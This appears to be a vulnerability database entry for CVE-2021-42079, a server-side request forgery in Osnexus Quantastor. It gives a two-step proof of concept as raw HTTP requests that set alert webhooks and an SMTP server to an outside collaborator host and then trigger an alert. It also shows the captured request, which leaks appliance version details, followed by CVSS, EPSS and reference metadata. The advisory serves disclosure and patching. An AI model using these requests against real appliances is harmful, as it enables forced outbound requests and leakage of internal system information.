SSRF in Osnexus Quantastor
CVE-2021-42079
An authenticated administrator is able to prepare an alert that is able to execute an SSRF attack. This is exclusively with POST requests. POC Step 1: Prepare the SSRF with a request like this: GET /qstorapi/alertConfigSet?senderEmailAddress=a&smtpServerIpAddress=BURPCOLLABHOST&smtpServerPort=25&smtpUsername=a&smtpPassword=1&smtpAuthType=1&customerSupportEmailAddress=1&poolFreeSpaceWarningThreshold=1&poolFreeSpaceAlertThreshold=1&poolFreeSpaceCriticalAlertThreshold=1&pagerDutyServiceKey=1&slackWebhookUrl=http://<target>&enableAlertTypes&enableAlertTypes=1&disableAlertTypes=1&pauseAlertTypes=1&mattermostWebhookUrl=http://<TARGET> HTTP/1.1 Host: <HOSTNAME> Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36 Connection: close authorization: Basic <BASIC_AUTH_HASH> Content-Type: application/json Content-Length: 0 Step 2: Trigger this alert with this request GET /qstorapi/alertRaise?title=test&message=test&severity=1 HTTP/1.1 Host: <HOSTNAME> Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36 Connection: close authorization: Basic <BASIC_AUTH_HASH> Content-Type: application/json Content-Length: 1 The post request received by <TARGET> looks like this: { ### Python FLASK stuff #### 'endpoint': 'index', 'method': 'POST', 'cookies': ImmutableMultiDict([]), ### END Python FLASK stuff #### 'data': b'{ "attachments": [ { "fallback": "[122] test / test.", "color": "#aa2222", "title": "[122] test", "text": "test", "fields": [ { "title": "Alert Severity", "value": "CRITICAL", "short": false }, { "title": "Appliance", "value": "quantastor (https://<HOSTNAME>)", "short": true }, { "title": "System / Driver / Kernel Ver", "value": "5.10.0.156+a25eaacef / scst-3.5.0-pre / 5.3.0-62-generic", "short": false }, { "title": "System Startup", "value": "Fri Aug 6 16-02-55 2021", "short": true }, { "title": "SSID", "value": "f4823762-1dd1-1333-47a0-6238c474a7e7", "short": true }, ], "footer": "QuantaStor Call-home Alert", "footer_icon": " https://platform.slack-edge.com/img/default_application_icon.png ", "ts": 1628461774 } ], "mrkdwn":true }', #### FLASK REQUEST STUFF ##### 'headers': { 'Host': '<redacted>', 'User-Agent': 'curl/7.58.0', 'Accept': '*/*', 'Content-Type': 'application/json', 'Content-Length': '790' }, 'args': ImmutableMultiDict([]), 'form': ImmutableMultiDict([]), 'remote_addr': '217.103.63.173', 'path': '/payload/58', 'whois_ip': 'TNF-AS, NL' } #### END FLASK REQUEST STUFF #####
Vulnerability class: SSRF (Server-Side Request Forgery)
Published · last modified .
CVSS v3 metric
CVSS v3 base score 6.2 (Medium). Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:N/A:N.
EPSS exploit prediction
EPSS: 0.007 (51.0th percentile), scored .
Very low probability of exploitation in the next 30 days; routine patching cadence is appropriate. 51st percentile — 51.0% of CVEs in the catalogue have a lower EPSS than this one. How to read EPSS.
EPSS over last 30 days · oldest: 0.007 · newest: 0.007 · change: 0.000
Affected products
- Osnexus Quantastor — versions 0
Weakness classification (CWE)
References
- www.wbsec.nl/osnexus (technical-description, Third Party Advisory, third-party-advisory)
- cisrt.divd.nl/DIVD-2021-00020/ (technical-description, exploit, third-party-advisory)
- www.osnexus.com/products/software-defined-storage (Product, product)
- csirt.divd.nl/CVE-2021-42079 (Third Party Advisory, third-party-advisory)
- af854a3a-2127-422b-91ae-364da2661108
Frequently asked questions
- What is CVE-2021-42079?
- CVE-2021-42079 is a medium-severity vulnerability in Osnexus Quantastor, classified under Server-Side Request Forgery (SSRF). CVSS score: 6.2/10. Published 2023-07-10.
- How severe is CVE-2021-42079?
- Medium severity. CVSS v3 base score is 6.2 out of 10.